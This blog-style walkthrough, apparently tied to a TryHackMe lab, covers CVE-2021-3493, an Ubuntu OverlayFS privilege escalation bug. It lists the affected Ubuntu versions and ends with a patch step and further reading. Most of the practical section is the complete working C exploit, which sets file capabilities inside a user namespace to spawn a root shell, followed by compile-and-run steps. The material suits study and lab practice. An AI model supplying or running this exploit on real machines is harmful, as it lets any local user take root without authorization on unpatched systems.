In this Blog article we will talk and practical about OverlayFS. If you are using ubuntu linux so in such a situation, you need to be cautious. Because in the same year 2021, a security researcher has discovered a vulnerabilty inside ubuntu OS, from with the help of any attacker can take root privileges escalation of your Ubuntu OS.

Basically OverlayFS is a linux kernel module that allows in the system to combine several mounts points into one, so that you can access all the files from each within one directory structure. Overlayfs CVE-2021-3493 Ubuntu OS Vulnerability

One use is having a read only root file system, and another parition "overlayed" with that to allow applications to write to a temporary the file system 

An Ubuntu specific issue in the overlayfs file system in the Linux kernel where it did not properly validate the application of file system capabilities with respect to user namespaces. A local attacker could use this to gain elevated privileges, due to a patch carried in Ubuntu to allow unprivileged overlayfs mounts.

CVE

CVE-2021-3493

Full Credit

An independent security researcher has reported this vulnerability to the SSD Secure Disclosure program.

About the vuln

Recently, SSD-Disclosure released a proof of concept (and a great explanation) for an Ubuntu kernel exploit (https://ssd-disclosure.com/ssd-advisory-overlayfs-pe/).


This vulnerability is particularly serious, as overlayfs is a kernel module that is installed by default on Ubuntu 1804 Server.
 

If the system is vulnerable, you can very easily escalate from any user to root, as long as you can run a binary.
 

If there isn't a C compiler installed on the machine, you can compile the binary statically elsewhere and copy just the binary over.

Affected Versions

• Ubuntu 20.10
  
• Ubuntu 20.04 LTS
• Ubuntu 18.04 LTS
• Ubuntu 16.04 LTS
• Ubuntu 14.04 ESM

Practical

So first of all we will copy the exploitation code which is written in the C programming language but before we will run/access Ubuntu OS via SSH.

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mount.h>

//#include <attr/xattr.h>
//#include <sys/xattr.h>
int setxattr(const char *path, const char *name, const void *value, size_t size, int flags);


#define DIR_BASE    "./ovlcap"
#define DIR_WORK    DIR_BASE "/work"
#define DIR_LOWER   DIR_BASE "/lower"
#define DIR_UPPER   DIR_BASE "/upper"
#define DIR_MERGE   DIR_BASE "/merge"
#define BIN_MERGE   DIR_MERGE "/magic"
#define BIN_UPPER   DIR_UPPER "/magic"


static void xmkdir(const char *path, mode_t mode)
{
    if (mkdir(path, mode) == -1 && errno != EEXIST)
        err(1, "mkdir %s", path);
}

static void xwritefile(const char *path, const char *data)
{
    int fd = open(path, O_WRONLY);
    if (fd == -1)
        err(1, "open %s", path);
    ssize_t len = (ssize_t) strlen(data);
    if (write(fd, data, len) != len)
        err(1, "write %s", path);
    close(fd);
}

static void xcopyfile(const char *src, const char *dst, mode_t mode)
{
    int fi, fo;

    if ((fi = open(src, O_RDONLY)) == -1)
        err(1, "open %s", src);
    if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1)
        err(1, "open %s", dst);

    char buf[4096];
    ssize_t rd, wr;

    for (;;) {
        rd = read(fi, buf, sizeof(buf));
        if (rd == 0) {
            break;
        } else if (rd == -1) {
            if (errno == EINTR)
                continue;
            err(1, "read %s", src);
        }

        char *p = buf;
        while (rd > 0) {
            wr = write(fo, p, rd);
            if (wr == -1) {
                if (errno == EINTR)
                    continue;
                err(1, "write %s", dst);
            }
            p += wr;
            rd -= wr;
        }
    }

    close(fi);
    close(fo);
}

static int exploit()
{
    char buf[4096];

    sprintf(buf, "rm -rf '%s/'", DIR_BASE);
    system(buf);

    xmkdir(DIR_BASE, 0777);
    xmkdir(DIR_WORK,  0777);
    xmkdir(DIR_LOWER, 0777);
    xmkdir(DIR_UPPER, 0777);
    xmkdir(DIR_MERGE, 0777);

    uid_t uid = getuid();
    gid_t gid = getgid();

    if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)
        err(1, "unshare");

    xwritefile("/proc/self/setgroups", "deny");

    sprintf(buf, "0 %d 1", uid);
    xwritefile("/proc/self/uid_map", buf);

    sprintf(buf, "0 %d 1", gid);
    xwritefile("/proc/self/gid_map", buf);

    sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK);
    if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1)
        err(1, "mount %s", DIR_MERGE);

    // all+ep
    char cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00";

    xcopyfile("/proc/self/exe", BIN_MERGE, 0777);
    if (setxattr(BIN_MERGE, "security.capability", cap, sizeof(cap) - 1, 0) == -1)
        err(1, "setxattr %s", BIN_MERGE);

    return 0;
}

int main(int argc, char *argv[])
{
    if (strstr(argv[0], "magic") || (argc > 1 && !strcmp(argv[1], "shell"))) {
        setuid(0);
        setgid(0);
        execl("/bin/bash", "/bin/bash", "--norc", "--noprofile", "-i", NULL);
        err(1, "execl /bin/bash");
    }

    pid_t child = fork();
    if (child == -1)
        err(1, "fork");

    if (child == 0) {
        _exit(exploit());
    } else {
        waitpid(child, NULL, 0);
    }

    execl(BIN_UPPER, BIN_UPPER, "shell", NULL);
    err(1, "execl %s", BIN_UPPER);
}

ssh overlay@10.10.7.43

After accessing the ubuntu OS, as you can see this OS is vulnerable and the OS's version is 18.04.4 LTS 

For save and exit a file -

ctrl + o  (for save)

ctrl + x  (for exit)

Compile the exploit with gcc. If you're finding this difficult, don't worry I am here...

gcc -o exploit exploit.c


-o (for output and compilation file)

as you can here, a compilation file has been created here and then run

./exploit and become a root user without any password (vola!)

Finally we are root user!!

Uff! where did this flag come from here. Don't worry you can do this practical yourself on TryHackMe website for FREE!!

Room is Here :-  https://tryhackme.com/room/overlayfs

And if i use "sudo su", i need a password to access the root user... so, as you can see, it is asking us for a password.

How to patch?

So , first of all we will update our ubuntu OS and install linux-image..

sudo apt update

sudo apt install linux-image-5.6.0-1055-oem

Further reading

Want to know more about OverlayFS?

https://yagrebu.net/unix/rpi-overlay.md - Read only root file system with overlayfs to allow applications to run normally.

https://wiki.archlinux.org/index.php/Overlay_filesystem - The Arch Wiki's page on OverlayFS (I don't use Arch BTW)
 

Want to know more about this specific CVE?

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3493 - Mitre's CVE entry for this vulnerability, which includes many further links.

https://ssd-disclosure.com/ssd-advisory-overlayfs-pe/ - This is where we got the PoC code, and it explains the vulnerability very well.

Disclaimer

This was written for educational purpose and pentest only.
The author will not be responsible for any damage ..!
The author of this tool is not responsible for any misuse of the information.
You will not misuse the information to gain unauthorized access.
This information shall only be used to expand knowledge and not for causing  malicious or damaging attacks. Performing any hacks without written permission is illegal ..!


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